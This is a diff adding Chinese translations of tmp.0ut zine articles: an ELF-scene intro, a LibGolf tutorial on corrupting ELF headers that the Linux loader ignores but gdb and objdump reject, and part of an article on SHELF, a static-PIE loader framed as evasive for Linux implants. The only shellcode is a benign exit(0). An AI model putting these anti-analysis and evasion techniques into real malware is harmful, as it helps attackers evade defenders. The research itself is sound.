diff --git a/1/zh/0.html b/1/zh/0.html new file mode 100644 index 0000000..097627f --- /dev/null +++ b/1/zh/0.html @@ -0,0 +1,65 @@ + + +tmp.0ut + + + + +
+                                                       ┌───────────────────────┐
+                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                       │ █   █ █ █ █   █       │
+                                                       │ █   █ █ █ █▀▀▀▀       │
+                                                       │ █   █   █ █     ▄     │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄   ▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                   █   │
+介绍:                                                  │                   █   │
+~ tmp.0ut 团队:                                        └───────────────────█ ──┘
+
+我等这一刻已经等了很久了。
+
+说实话,我认为很多ELF爱好者都没有想到这一天真的会到来。传统上,我们这些ELF研究者
+一直都是局外人。即使在VLAD和90年代末的病毒场景之后,在silvio发表第一篇论文之后,
+在unix病毒邮件列表、phrack文章和elfmaster之后,我们的人数和聚集地依然很少且分散。
+
+六个月前,我认识了s01den,我们决定一起进行一些ELF项目。我邀请了我的老朋友TMZ。
+一个月后,我们可能有5个人。然后变成了10个。15个。在三个月内,Discord聊天室里已经
+有28个人,所有人都在讨论ELF和项目,并准备发布一份杂志 - 这一切发生得太快,我甚至
+很难描述它是如何形成的。
+
+我们开始交谈、召开会议和开展项目 - 并且都同意记录我们的旅程将是一个绝妙的主意;
+创建一系列可以用来学习的出版物,作为参考指南,也许最终可以将它们组合成一本关于
+ELF修改技术和技术的流畅卷册,供下一代ELF爱好者使用。我可以相当确定地说,这很可能
+是有史以来最大的一群黑客同时聚在一起,且都在积极从事ELF项目。
+
+带有代码示例的感染算法。具有全新内存加载ELF二进制文件方法的自定义链接器脚本。
+二进制高尔夫。从远程源加载内核模块。用Python编写的消毒程序。与传奇人物的访谈。
+对迄今为止所见过的最复杂的Linux病毒之一进行39页的重新逆向工程和分析。我写了很多
+页想要放入这个等待了20年才写的介绍中的内容,但现在当真正要写的时候,我觉得这些
+内容中的大部分应该被省略,或者放在自己的文章中,因为我们令人惊叹的团队和内容本身
+就能说明一切。
+
+现在,不再多说,tmp.out、Thugcrowd和Symbolcrash制作组自豪地呈现Mental 'elf 
+support group(精神'ELF'支持小组)- 由卫生shellcode协会和二进制匪徒后门工厂流浪汉
+赞助
+
+~ sblip
+
\ No newline at end of file diff --git a/1/zh/1.html b/1/zh/1.html new file mode 100644 index 0000000..d2110d8 --- /dev/null +++ b/1/zh/1.html @@ -0,0 +1,295 @@ + + +tmp.0ut + + + + +
+ 
+ _ .-') _     ('-.   ('-.     _ .-') _        .-. .-')               .-') _     ('-.    .-')
+( (  OO) )  _(  OO) ( OO ).-.( (  OO) )       \  ( OO )             (  OO) )  _(  OO)  ( OO ).
+ \     .'_ (,------./ . --. / \     .'_        ;-----.\  ,--.   ,--./     '._(,------.(_)---\_)
+ ,`'--..._) |  .---'| \-.  \  ,`'--..._)       | .-.  |   \  `.'  / |'--...__)|  .---'/    _ |
+ |  |  \  ' |  |  .-'-'  |  | |  |  \  '       | '-' /_).-')     /  '--.  .--'|  |    \  :` `.
+ |  |   ' |(|  '--.\| |_.'  | |  |   ' |       | .-. `.(OO  \   /      |  |  (|  '--.  '..`''.)
+ |  |   / : |  .--' |  .-.  | |  |   / :       | |  \  ||   /  /\_     |  |   |  .--' .-._)   \
+ |  '--'  / |  `---.|  | |  | |  '--'  /       | '--'  /`-./  /.__)    |  |   |  `---.\       /
+ `-------'  `------'`--' `--' `-------'        `------'   `--'         `--'   `------' `-----'
+                                                                                  ~ xcellerator
+
+你好,ELF爱好者们!在这篇文章中,我想介绍一个我一直在开发的小型库,名为LibGolf。它最初只是
+为了更好地理解ELF和程序头而创建的工具,但后来发展成了一个相当实用的项目。它可以非常容易地
+生成一个由ELF头、单个程序头和单个可加载段组成的二进制文件。默认情况下,头部中的所有字段都
+设置为合理的值,但有一个简单的方法可以修改这些默认值 - 这就是本文要讨论的内容!我将演示如何
+使用LibGolf来精确枚举哪些字节是必需的,哪些字节会被Linux加载器忽略。幸运的是,事实证明,
+加载器是标准Linux工具包中最不挑剔的解析器之一。在我们完成之前,我们将看到几个流行的静态分析
+工具在我们损坏的ELF面前崩溃,而加载器继续愉快地加载并跳转到我们选择的字节。
+
++---------------------------+
+|--[ 介绍LibGolf ]--|
++---------------------------+
+
+不久前,我一直在用NASM手写ELF文件。虽然这很有趣(当然也有它的好处),但我意识到我错过了
+C结构体所能提供的所有乐趣。特别是,我相信许多读者都知道,<linux/elf.h>中充满了像
+`Elf64_Ehdr`和`Elf32_Phdr`这样可以声明的有趣东西。
+
+不想让这些有用的头文件浪费掉,我决定把它们利用起来。经过这些努力,产生了libgolf.h,这是一个
+可以轻松将shellcode注入到可执行文件中的库。我知道你在想什么 - "这听起来就像一个糟糕的链接器!",
+你可能是对的。但是,这里的好处是你可以在二进制文件构建之前轻松修改头部。
+
+让我们看看它是如何工作的。如果你想在家跟着做,你可以在[0]找到所有这些的源代码。你可以在
+'examples/01_dead_bytes'下找到本文中的代码。基本设置需要两个文件:一个C源文件和一个
+shellcode.h。说到shellcode,我喜欢使用老朋友'b0 3c 48 31 ff 0f 05',它反汇编为:
+
+        mov al, 0x3c    @ b0 3c
+        xor rdi, rdi    @ 48 31 ff
+        syscall         @ 0f 05
+
+(是的 - 把这个称为"shellcode"有点牵强!)
+
+本质上,它只是调用exit(0)。这很好,因为我们可以通过shell扩展$?轻松检查这些字节是否成功执行。
+
+将这个或其他shellcode(但要确保它是PIC - 还不支持可重定位符号!)放入shellcode.h中的buf[]
+缓冲区,然后回到C文件。如果你只是想得到一个执行你的shellcode的二进制文件,那么你只需要这些:
+
+        #include "libgolf.h"
+        #include "shellcode.h"
+
+        int main(int argc, char **argv)
+        {
+            INIT_ELF(X86_64,64);
+
+            GEN_ELF();
+            return 0;
+        }
+
+编译并运行生成的可执行文件会给你一个.bin文件 - 这就是你闪亮的新ELF!很简单,对吧?简单往往
+伴随着枯燥,这里也是如此,所以让我们做些更有趣的事情!
+
+在继续之前,值得解释一下这两个宏在幕后做了什么。首先,INIT_ELF()接受两个参数,ISA和架构。
+目前,LibGolf支持X86_64、ARM32和AARCH64作为有效的ISA,以及32或64作为架构。它首先设置一些
+内部簿记结构,并决定是使用Elf32_*还是Elf64_*对象作为头部。它还自动分配指向ELF和程序头的
+指针,分别称为ehdr和phdr。我们将使用这些来轻松修改字段。除此之外,它还复制shellcode缓冲区,
+并在计算合理的入口点之前填充ELF和程序头。接下来是GEN_ELF(),它只是将一些漂亮的统计信息
+打印到stdout,然后将适当的结构写入.bin文件。.bin的名称由argv[0]决定。
+
+所以,在我们使用INIT_ELF()宏之后,我们可以解引用ehdr和phdr。假设我们想修改ELF头的e_version
+字段。我们只需要添加一行:
+
+        #include "libgolf.h"
+        #include "shellcode.h"
+
+        int main(int argc, char **argv)
+        {
+            INIT_ELF(X86_64);
+
+            // 将e_version设置为12345678
+            ehdr->e_version = 0x78563412;
+
+            GEN_ELF();
+            return 0;
+        }
+
+再次快速编译和执行,你就会得到另一个.bin文件。在xxd、hexyl或你喜欢的二进制操作工具中查看
+这个文件,你会看到一个漂亮的'12 34 56 78'从偏移量0x14开始。很容易,不是吗?
+
+为了让事情进展得更快,我喜欢使用以下Makefile:
+
+        .PHONY golf clean
+
+        CC=gcc
+        CFLAGS=-I.
+        PROG=golf
+
+        golf:
+            @$(CC) -o $(PROG) $(PROG).c
+            @./$(PROG)
+            @chmod +x $(PROG).bin
+
+            @rm $(PROG) $(PROG).bin
+
+(这是你在仓库[0]中找到的Makefile)
+
++-----------------------------------+
+|--[ 第一个障碍 ]--|
++-----------------------------------+
+
+众所周知,文件解析器是可怕的东西。虽然规范通常有诚恳的目标,但它们很少被那些应该更了解的人
+所尊重。这些亵渎者中最主要的就是Linux ELF加载器本身。LibGolf使我们很容易调查这些违反elf.h
+的行为的程度。
+
+一个好的开始是从头开始,也就是ELF头。在任何ELF文件的开始,当然是熟悉的0x7f后跟ELF,对它的
+朋友来说被称为EI_MAG0到EI_MAG3。不出所料,修改这四个字节中的任何一个都会导致Linux加载器
+拒绝该文件。谢天谢地!
+
+那么字节0x5呢?我们可靠的规范告诉我们,这是EI_CLASS字节,表示目标架构。可接受的值是0x01和
+0x02,分别用于32位和64位。我再说一遍:可接受的值是0x01和0x02。如果我们将其设置为0x58
+(或对ASCII爱好者来说是"X")会怎样?我们可以通过添加以下内容来实现:
+
+        (ehdr->e_ident)[EI_CLASS] = 0x58;
+
+到我们的生成C文件中。(为什么是0x58?它在xxd/hexyl输出中显示得很清楚!)
+
+一旦我们得到了.bin文件可以玩,在尝试执行它之前,让我们试试其他几个熟悉的ELF解析工具,看看
+还有哪些罪魁祸首。列表中的第一个是gdb。去试试吧,我等着。看看会发生什么?
+
+        "not in executable format: file format not recognized"
+
+同样,objdump也会给你类似的答案。看来这些解析器在正确地完成它们的工作。现在,让我们尝试
+正常运行二进制文件。
+
+        它完美运行。
+
+如果你使用我的示例shellcode,那么查询$?会遗憾地告诉你二进制文件成功退出。当设置EI_DATA和
+EI_VERSION为非法值时,也会发生同样的罪行。
+
++---------------------------------------+
+|--[ 将损坏程度提升到11 ]--|
++---------------------------------------+
+
+那么,我们能走多远?Linux加载器会忽略多少ELF和程序头?我们已经讨论了EI_CLASS、EI_DATA和
+EI_VERSION,但事实证明EI_OSABI也可以安全地被忽略。这带我们到了偏移量0x8。根据规范,接下来
+是EI_ABIVERSION和EI_PAD,它们一起带我们到字节0xf。看来没人关心它们,所以我们可以毫无顾虑
+地将它们全部设置为0x58。
+
+继续前进,我们遇到了一个似乎不能被破坏的字段:e_type。可以理解,如果我们不告诉Linux加载器
+我们提供的是什么类型的ELF文件,它就不会喜欢(很高兴知道它确实有*一些*标准!- 双关语)。
+我们需要这两个字节保持为0x0002(或对elf.h信徒来说是ET_EXEC)。接下来是另一个挑剔的字节,
+在熟悉的0x12偏移处:e_machine,它指定目标ISA。就我们而言,通过将X86_64指定为INIT_ELF()的
+第一个参数,LibGolf已经为我们将这个字节填充为0x3e。
+
+突然,出现了一个野生的e_version!我们面对另一个异端,它理应总是字节0x00000001。然而,在
+实践中,似乎没有人关心,所以让我们用0x58585858填充它。
+
+在这串异教徒之后,我们有几个似乎不能被滥用的重要字段:e_entry和e_phoff。我想我不需要详细
+解释e_entry;它是二进制文件的入口点,一旦可加载段被加载到内存中,执行就会在这里开始。虽然
+人们可能期望加载器能够在不知道程序头偏移量的情况下管理,但似乎它不够聪明,需要被喂食。
+最好让这两个保持原样。
+
+LibGolf还不支持节头(考虑到它专注于生产*小型*二进制文件,将来可能也不太可能支持它们)。
+这意味着,面对与它们相关的任何头部,我们可以随心所欲地修改。这包括e_shoff、e_shentsize、
+eh_shnum甚至e_shstrndx。如果我们没有任何节头,我们就不用对破坏它们负责!
+
+剩下的对Linux加载器似乎有一些重要性的字段是e_ehsize、e_phentsize和e_phnum。这也不足为奇,
+因为它们与将唯一的可加载段加载到内存中并移交控制权有关。如果你需要复习,e_ehsize是ELF头的
+大小(对于32位和64位分别是0x34或0x40),eh_phentsize是即将到来的程序头的大小(同样,对于
+32位和64位架构硬编码为0x20或0x38)。如果加载器对EI_CLASS更挑剔一点,它就不需要这两个字段。
+最后,e_phnum只是程序头中的条目数 - 对我们来说总是0x1。毫无疑问,这用于内存加载例程中的
+某个循环,但我还没有进一步调查。
+
+ELF头中还有一个我没有提到的字段,就是e_flags。原因很简单,因为它是架构相关的。对于x86_64,
+它完全无关紧要,因为它是未定义的(尽管对某些ARM平台来说它*确实*很重要!看看[0]中的arm32
+示例)。
+
+这就到了ELF头的结尾。对于那些没有计数的人来说,超过50%的ELF头被加载器忽略。但是程序头
+呢?事实证明,程序头的可操作空间要少得多,但不是因为人们可能期望的原因。实际上,程序头的
+*任何*损坏都不会真正影响Linux加载器。我们可以用我们信任的0x58填充整个东西,加载器一点也
+不会在意。但要小心,大胆的冒险者,摆弄错误的字节,你就会被扔进段错误的地牢!
+
+那么,在程序头中有什么可以被强制修改的吗?事实证明,有两个字段由于自身的原因,现在已经
+不再相关了:p_paddr和p_align。前者在虚拟内存之前的辉煌时代很重要,那时4GB RAM只是孩子的
+白日梦,因此告诉加载器在物理内存中的哪里加载段是很重要的。
+
+内存对齐是一个有趣的问题。据说,p_vaddr应该等于p_offset模除p_align。"正常的"ELF文件
+(至少是用GCC编译的)似乎只是将p_offset设置为等于p_vaddr然后继续。这也是LibGolf默认做的,
+这使得p_align完全多余!
+
+总的来说,不如ELF头那么有趣,但仍然有一些小收获。现在二进制生成的C文件看起来是这样的:
+
+        #include "libgolf.h"
+        #include "shellcode.h"
+
+        int main(int argc, char **argv)
+        {
+            INIT_ELF(X86_64,64);
+
+            /* 让我们破坏一些字段! */
+            (ehdr->e_ident)[EI_CLASS] = 0x58;
+            (ehdr->e_ident)[EI_DATA] = 0x58;
+            (ehdr->e_ident)[EI_VERSION] = 0x58;
+            (ehdr->e_ident)[EI_OSABI] = 0x58;
+            (ehdr->e_ident)[EI_ABIVERSION] = 0x58;
+            memset(&((ehdr->e_ident)[EI_PAD]), 0x58, 7);
+            ehdr->e_version = 0x58585858;
+            ehdr->e_shoff = 0x58585858;
+            ehdr->e_flags = 0x58585858;
+            ehdr->e_shentsize = 0x5858;
+            ehdr->e_shnum = 0x5858;
+            ehdr->e_shstrndx = 0x5858;
+
+            /* 程序头也可以被破坏 */
+            phdr->p_paddr = 0x5858585858585858;
+            phdr->p_align = 0x5858585858585858;
+
+            GEN_ELF();
+            return 0;
+        }
+
+如果你编译并运行这个程序,你会得到以下二进制文件:
+
+        00000000: 7f45 4c46 5858 5858 5858 5858 5858 5858  .ELFXXXXXXXXXXXX
+        00000010: 0200 3e00 5858 5858 7800 4000 0000 0000  ..>.XXXXx.@.....
+        00000020: 4000 0000 0000 0000 5858 5858 5858 5858  @.......XXXXXXXX
+        00000030: 5858 5858 4000 3800 0100 5858 5858 5858  XXXX@.8...XXXXXX
+        00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................
+        00000050: 0000 4000 0000 0000 5858 5858 5858 5858  ..@.....XXXXXXXX
+        00000060: 0700 0000 0000 0000 0700 0000 0000 0000  ................
+        00000070: 5858 5858 5858 5858 b03c 4831 ff0f 05    XXXXXXXX.
\ No newline at end of file diff --git a/1/zh/10/10.1.png b/1/zh/10/10.1.png new file mode 100644 index 0000000..50342d1 Binary files /dev/null and b/1/zh/10/10.1.png differ diff --git a/1/zh/10/10.10.png b/1/zh/10/10.10.png new file mode 100644 index 0000000..3db93b3 Binary files /dev/null and b/1/zh/10/10.10.png differ diff --git a/1/zh/10/10.11.png b/1/zh/10/10.11.png new file mode 100644 index 0000000..84a7aaf Binary files /dev/null and b/1/zh/10/10.11.png differ diff --git a/1/zh/10/10.12.png b/1/zh/10/10.12.png new file mode 100644 index 0000000..94bb316 Binary files /dev/null and b/1/zh/10/10.12.png differ diff --git a/1/zh/10/10.13.png b/1/zh/10/10.13.png new file mode 100644 index 0000000..db70bc4 Binary files /dev/null and b/1/zh/10/10.13.png differ diff --git a/1/zh/10/10.14.png b/1/zh/10/10.14.png new file mode 100644 index 0000000..9007e8e Binary files /dev/null and b/1/zh/10/10.14.png differ diff --git a/1/zh/10/10.15.png b/1/zh/10/10.15.png new file mode 100644 index 0000000..5368c14 Binary files /dev/null and b/1/zh/10/10.15.png differ diff --git a/1/zh/10/10.16.png b/1/zh/10/10.16.png new file mode 100644 index 0000000..35b1ecf Binary files /dev/null and b/1/zh/10/10.16.png differ diff --git a/1/zh/10/10.17.png b/1/zh/10/10.17.png new file mode 100644 index 0000000..61e8aec Binary files /dev/null and b/1/zh/10/10.17.png differ diff --git a/1/zh/10/10.18.png b/1/zh/10/10.18.png new file mode 100644 index 0000000..9444dc3 Binary files /dev/null and b/1/zh/10/10.18.png differ diff --git a/1/zh/10/10.19.png b/1/zh/10/10.19.png new file mode 100644 index 0000000..afa10c5 Binary files /dev/null and b/1/zh/10/10.19.png differ diff --git a/1/zh/10/10.2.png b/1/zh/10/10.2.png new file mode 100644 index 0000000..06d3be6 Binary files /dev/null and b/1/zh/10/10.2.png differ diff --git a/1/zh/10/10.20.png b/1/zh/10/10.20.png new file mode 100644 index 0000000..c90e858 Binary files /dev/null and b/1/zh/10/10.20.png differ diff --git a/1/zh/10/10.21.png b/1/zh/10/10.21.png new file mode 100644 index 0000000..36963f8 Binary files /dev/null and b/1/zh/10/10.21.png differ diff --git a/1/zh/10/10.22.png b/1/zh/10/10.22.png new file mode 100644 index 0000000..69bb5e8 Binary files /dev/null and b/1/zh/10/10.22.png differ diff --git a/1/zh/10/10.23.png b/1/zh/10/10.23.png new file mode 100644 index 0000000..eacd3a3 Binary files /dev/null and b/1/zh/10/10.23.png differ diff --git a/1/zh/10/10.24.png b/1/zh/10/10.24.png new file mode 100644 index 0000000..267672b Binary files /dev/null and b/1/zh/10/10.24.png differ diff --git a/1/zh/10/10.25.png b/1/zh/10/10.25.png new file mode 100644 index 0000000..deeaefb Binary files /dev/null and b/1/zh/10/10.25.png differ diff --git a/1/zh/10/10.26.png b/1/zh/10/10.26.png new file mode 100644 index 0000000..b82b0e6 Binary files /dev/null and b/1/zh/10/10.26.png differ diff --git a/1/zh/10/10.27.png b/1/zh/10/10.27.png new file mode 100644 index 0000000..2bfedfe Binary files /dev/null and b/1/zh/10/10.27.png differ diff --git a/1/zh/10/10.28.png b/1/zh/10/10.28.png new file mode 100644 index 0000000..7e8c07a Binary files /dev/null and b/1/zh/10/10.28.png differ diff --git a/1/zh/10/10.29.png b/1/zh/10/10.29.png new file mode 100644 index 0000000..7209821 Binary files /dev/null and b/1/zh/10/10.29.png differ diff --git a/1/zh/10/10.3.png b/1/zh/10/10.3.png new file mode 100644 index 0000000..a4f4a70 Binary files /dev/null and b/1/zh/10/10.3.png differ diff --git a/1/zh/10/10.30.png b/1/zh/10/10.30.png new file mode 100644 index 0000000..888b46d Binary files /dev/null and b/1/zh/10/10.30.png differ diff --git a/1/zh/10/10.4.png b/1/zh/10/10.4.png new file mode 100644 index 0000000..0052c49 Binary files /dev/null and b/1/zh/10/10.4.png differ diff --git a/1/zh/10/10.5.png b/1/zh/10/10.5.png new file mode 100644 index 0000000..5e06937 Binary files /dev/null and b/1/zh/10/10.5.png differ diff --git a/1/zh/10/10.6.png b/1/zh/10/10.6.png new file mode 100644 index 0000000..18c3ceb Binary files /dev/null and b/1/zh/10/10.6.png differ diff --git a/1/zh/10/10.7.png b/1/zh/10/10.7.png new file mode 100644 index 0000000..355abe5 Binary files /dev/null and b/1/zh/10/10.7.png differ diff --git a/1/zh/10/10.8.png b/1/zh/10/10.8.png new file mode 100644 index 0000000..6b36753 Binary files /dev/null and b/1/zh/10/10.8.png differ diff --git a/1/zh/10/10.9.png b/1/zh/10/10.9.png new file mode 100644 index 0000000..0bce90a Binary files /dev/null and b/1/zh/10/10.9.png differ diff --git a/1/zh/10/index.html b/1/zh/10/index.html new file mode 100644 index 0000000..6070fbf --- /dev/null +++ b/1/zh/10/index.html @@ -0,0 +1,300 @@ + + +tmp.0ut + + + + +
+                                                       ┌───────────────────────┐
+                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                       │ █   █ █ █ █   █       │
+                                                       │ █   █ █ █ █▀▀▀▀       │
+                                                       │ █   █   █ █     ▄     │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄   ▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄▄▄▄▄ │
+介绍SHELF加载技术                                      │                   █   │
+静态和位置无关代码的连接点                            │                   █   │
+~ @ulexec 和 @Anonymous_                              └───────────────────█ ──┘
+
+1. 引言
+
+在过去几年中,Linux攻击工具在复杂性和精密度方面有了多项改进。随着记录Linux威胁的公开报告数量增加,Linux恶意软件变得越来越流行。这些威胁包括政府支持的Linux植入程序,如APT28的VPNFilter、Drovorub或Winnti系列Linux恶意软件。
+
+然而,这种流行度的增加似乎还没有对当前Linux威胁形势的整体复杂性产生太大影响。这是一个相当年轻的生态系统,除了加密货币挖矿、DDoS和最近的勒索软件操作外,网络犯罪分子还未能找到可靠的盈利目标。
+
+在当今的Linux威胁环境中,即使是最小的改进或复杂性的引入往往都能导致反病毒软件的绕过,因此Linux恶意软件作者通常不会投入不必要的资源来使其植入程序变得复杂。这种现象发生有多种原因,且具有一定的模糊性。与Windows和MacOS等其他流行平台相比,Linux生态系统更加动态和多样化,这源于不同架构的ELF文件的多样性,ELF二进制文件可以以多种不同形式存在的事实,以及Linux威胁的可见性通常较差。
+
+由于这些问题,反病毒供应商在检测这些威胁时面临着完全不同的挑战。通常,对简单/不复杂威胁的不成比例的检测失败会给人留下Linux恶意软件本质上不复杂的印象。这种说法完全不符合事实,熟悉ELF文件格式的人都知道,ELF文件在创新方面有很大的空间,这是其他文件格式由于缺乏灵活性而无法提供的,即使我们多年来还没有看到它被大量滥用。
+
+在本文中,我们将讨论一种实现文件格式非常规功能的技术,该技术以通用方式将完整的可执行文件转换为shellcode,这再次证明了ELF二进制文件可以被操作以实现在其他文件格式中难以或无法复制的攻击创新。
+
+2. ELF反射加载入门
+
+为了理解这项技术,我们必须首先对此技术所基于的先前已知的ELF技术提供背景上下文,并比较其优势和权衡。
+
+大多数ELF打包器或任何实现ELF二进制加载的应用程序,主要基于所谓的User-Land-Exec。
+
+User-Land-Exec是由@thegrugq首次记录的一种方法,通过该方法可以在不使用execve系统调用族的情况下加载ELF二进制文件,因此得名。
+
+为了简单起见,下图展示了实现支持ET_EXEC和ET_DYN ELF二进制文件的普通User-Land-Exec的步骤,展示了UPX打包器对ELF二进制文件的实现:
+
+
+
+如我们所见,这种技术有以下要求(由@thegrugq提出):
+
+  1. 清理地址空间
+  2. 如果二进制文件是动态链接的,加载动态链接器
+  3. 加载二进制文件
+  4. 初始化栈
+  5. 确定入口点(即动态链接器或主可执行文件)
+  6. 将执行转移到入口点
+
+在更技术性的层面上,我们得出以下要求:
+
+  1. 设置嵌入式可执行文件的栈及其对应的辅助向量
+  2. 解析PHDR并识别是否存在PT_INTERP段,表明该文件是动态链接的可执行文件
+  3. 如果存在PT_INTERP,则加载解释器
+  4. 加载目标嵌入式可执行文件
+  5. 根据目标可执行文件是否为动态链接的二进制文件,相应地转向映射的目标可执行文件或解释器的e_entry
+
+要了解更深入的解释,我们建议阅读@thegrugq关于此问题的综合论文[9]。
+
+常规User-Land-Exec的一个功能是避免execve足迹,这与其他技术(如memfd_create/execveat)形成对比,后者也广泛用于加载和执行目标ELF文件。由于加载器映射和加载目标可执行文件,嵌入式可执行文件具有非常规结构的灵活性。这对于规避和反取证目的有附带好处。
+
+另一方面,由于加载过程中涉及许多关键组件,反向工程师很容易识别出来,而且由于该技术严重依赖这些组件,因此有些脆弱。因此,编写基于User-Land-Exec的加载器一直比较繁琐。随着ELF文件格式添加更多功能,这种技术倾向于随时间成熟,从而增加其复杂性。
+
+我们将在本文中介绍的新技术依赖于实现具有减少约束集的通用User-Land-Exec加载器,支持据我们所知尚未报告的混合PIE和静态链接ELF二进制文件。
+
+我们认为这种技术代表了User-Land-Exec加载器先前版本的重大改进,因为基于技术实现约束的缺乏和这种新的混合静态/PIE ELF风格的性质,它可以提供的功能范围比以前的User-Land-Exec变体更广泛且更具规避性。
+
+3. 静态PIE可执行文件生成的内部机制
+
+3.1 背景
+
+2017年7月,H. J. Lu修补了GCC bugzilla中名为"Support creating static PIE"的错误条目。这个补丁提到了在他的glibc hjl/pie/static分支中实现静态基于PIE的实现,Lu在其中记录了通过向链接器提供–static和–pie标志以及PIE版本的crt*.o作为输入,可以生成静态PIE ELF可执行文件。需要注意的是,在这个补丁时,生成完全静态链接的PIE二进制文件是不可能的。[1]
+
+8月,Lu向GCC驱动程序提交了第二个补丁[2],用于添加–static标志以支持他在前一个补丁中能够演示的静态PIE文件。该补丁在主干[3]中被接受,并在GCC v8中发布。
+
+此外,2017年12月在glibc[4]中提交了一个添加–enable-static-pie选项的补丁。这个补丁使得嵌入所需的ld.so部分以生成独立的静态PIE可执行文件成为可能。
+
+glibc允许静态PIE的主要变化是添加了_dl_relocate_static_pie函数,该函数由__libc_start_main调用。此函数用于定位运行时加载地址,读取动态段,并在初始化之前执行动态重定位,然后将执行控制流转移到目标应用程序。
+
+为了知道生成静态PIE可执行文件需要哪些标志和编译/链接阶段,我们向GCC传递了–static-pie –v标志。然而,我们很快意识到这样做时,链接器生成了大量的标志和对内部包装器的调用。例如,链接阶段由工具/usr/lib/gcc/x86_64-linux-gnu/9/collect2处理,GCC本身由/usr/lib/gcc/x86_64-linux-gnu/9/cc1包装。尽管如此,我们设法删除了不相关的标志,最终得到了以下步骤:
+
+
+
+这些步骤实际上与Lu提供的步骤相同,向链接器提供使用–fpie编译的输入文件,以及–static、-pie、-z text、--no-dynamic-linker。特别是,静态PIE创建最相关的组件是rcrt1.o、libc.a和我们自己提供的输入文件test.o。rcrt1.o对象包含_start代码,该代码具有在执行其入口点之前正确加载应用程序所需的代码,方法是调用__libc_start_main中包含的相应libc启动代码:
+
+
+
+如前所述,__libc_start_main将调用新添加的函数_dl_relocate_static_pie(在glibc源代码的elf/dl-reloc-static-pie.c文件中定义)。该函数执行的主要步骤在源代码中有注释:
+
+
+
+借助这些功能,GCC能够生成可以在任意地址加载的静态可执行文件。
+
+我们可以观察到_dl_relocate_static_pie将处理所需的动态重定位。rcrt1.o与常规crt1.o的一个显著区别是所有包含的代码都是位置无关的。检查生成的二进制文件的外观,我们看到以下内容:
+
+
+
+乍看之下,它们似乎是普通的动态链接PIE可执行文件,这是基于从ELF头部检索到的ET_DYN可执行文件类型。然而,仔细检查段时,我们会发现不存在通常表示动态链接可执行文件中解释器路径的PT_INTERP段,以及通常仅包含在静态链接可执行文件中的PT_TLS段的存在。
+
+
+
+如果我们检查动态链接器如何识别目标可执行文件,我们会看到它正确识别了文件类型:
+
+
+
+要加载此文件,我们只需要将所有PT_LOAD段映射到内存中,设置进程栈及其对应的辅助向量条目,然后转向映射的可执行文件的入口点。我们不需要担心映射RTLD,因为我们没有任何外部依赖或链接时地址限制。
+
+如我们所见,我们有四个在SCOP ELF二进制文件中常见的可加载段。然而,为了更容易部署,如果我们能将所有这些段合并为一个段,就像通常在ELF磁盘注入到外部可执行文件中那样,这将是至关重要的。我们可以使用–N链接器标志将数据和文本合并到单个段中来实现这一点。
+
+3.2. GCC的-N和static-pie标志的不兼容性
+
+如果我们同时向GCC传递–static-pie和–N标志,我们会看到它生成以下可执行文件:
+
+
+
+我们注意到使用–static-pie时生成的ELF类型是ET_DYN,而现在与–N一起使用时结果是ET_EXEC。
+
+此外,如果我们仔细查看段的虚拟地址,我们会看到生成的二进制文件不是位置无关的可执行文件。这是因为虚拟地址似乎是绝对地址而不是相对地址。为了理解为什么我们的程序没有按预期链接,我们检查了正在使用的链接器脚本。
+
+由于我们使用的是binutils的ld链接器,我们查看了ld如何选择链接器脚本;这是在ld/ldmain.c代码的第345行完成的:
+
+
+
+ldfile_open_default_command_file实际上是对编译时生成的架构无关函数的间接调用,该函数包含一组根据传递给ld的标志选择的内部链接器脚本。因为我们使用的是x86_64架构,生成的源代码将是ld/elf_x86_64.c,用于选择脚本的函数是gldelf_x86_64_get_script,它只是一组if-else-if语句来选择内部链接器脚本。–N选项将config.text_read_only变量设置为false,这迫使选择函数使用不生成PIC的内部脚本,如下所示:
+
+
+
+这种选择默认脚本的方式使得–static-pie和–N标志不兼容,因为基于–N选择脚本的强制测试在–static-pie之前解析。
+
+3.3. 通过自定义链接器脚本绕过
+
+–N、-static和–pie标志之间的不兼容性使我们陷入了死胡同,我们被迫考虑不同的方法来克服这个障碍。我们尝试的是提供一个自定义脚本来驱动链接器。由于我们本质上需要合并两个独立链接器脚本的行为,我们的方法是选择其中一个脚本并调整它以生成具有剩余脚本功能的所需结果。
+
+我们选择了–static-pie的默认脚本而不是与–N一起使用的脚本,因为在我们的情况下,修改它比更改–N默认脚本以支持PIE生成更容易。
+
+要实现这个目标,我们需要更改段的定义,这些定义由链接器脚本中的PHDRS [5]字段控制。如果不使用该命令,链接器将提供默认生成的程序头 - 但是,如果我们在链接器脚本中忽略这一点,链接器将不会创建任何额外的程序头,并将严格遵循主题链接器脚本中定义的指导原则。
+
+考虑到上述细节,我们向默认链接器脚本添加了一个PHDRS命令,从使用–static-pie时默认创建的所有原始段开始:
+
+
+
+之后我们需要知道每个节如何映射到每个段 - 为此我们可以使用readelf,如下所示:
+
+
+
+了解了映射关系后,我们只需要更改链接器脚本中的节输出定义,在每个函数定义的末尾添加适当的段名称,如以下示例所示:
+
+
+
+在这里,.tdata和.tbss节被分配给按照我们在readelf –l命令输出中看到的相同顺序映射的段。最终,我们得到了一个工作脚本,精确地将所有映射在数据中的节更改为文本段:
+
+
+
+如果我们使用这个链接器脚本编译我们的测试文件,我们会看到以下生成的可执行文件:
+
+
+
+我们现在有了一个只有一个可加载段的static-pie。同样的方法可以重复使用来删除其他不相关的段,只保留执行二进制文件所需的关键段。例如,以下是具有运行所需最小程序头的static-pie可执行文件实例:
+
+
+
+以下是我们所需ELF结构的最终输出 - 只有一个由链接器脚本生成的PT_LOAD段,其PHDRS命令配置如下面的截图所示:
+
+
+
+4. SHELF加载
+
